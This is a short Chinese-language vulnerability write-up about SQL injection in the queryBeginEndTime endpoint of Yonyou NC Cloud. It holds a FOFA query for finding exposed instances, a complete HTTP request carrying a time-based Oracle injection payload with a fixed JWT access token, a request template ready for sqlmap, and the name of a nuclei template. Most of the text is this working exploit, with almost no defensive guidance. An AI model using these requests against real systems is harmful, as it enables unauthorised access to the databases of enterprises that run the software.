用友NC-Cloud系统queryBeginEndTime存在SQL注入漏洞
一、漏洞简介
NC Cloud是用友推出的大型企业数字化平台。用友NC-Cloud系统queryBeginEndTime存在SQL注入漏洞。
二、影响版本
- 用友NC Cloud
三、资产测绘
- fofa
app="用友-NC-Cloud" - 登录页面
四、漏洞复现
GET /ncchr/period/queryBeginEndTime?staffid=1%3F'%20and%204431%3Ddbms_pipe.receive_message(chr(83)%7C%7Cchr(104)%7C%7Cchr(82)%7C%7Cchr(70)%2C3)-- HTTP/1.1
Host: {hostname}
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36
Connection: close
accessTokenNcc: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiIxIn0.F5qVK-ZZEgu3WjlzIANk2JXwF49K5cBruYMnIOxItOQ
Accept-Encoding: gzip, deflate
sqlmap
GET /ncchr/period/queryBeginEndTime?staffid=1 HTTP/1.1
Host: {hostname}
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36
Connection: close
accessTokenNcc: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiIxIn0.F5qVK-ZZEgu3WjlzIANk2JXwF49K5cBruYMnIOxItOQ
Accept-Encoding: gzip, deflate
nuclei脚本
用友-nc-cloud-querybeginendtime-sql注入.yaml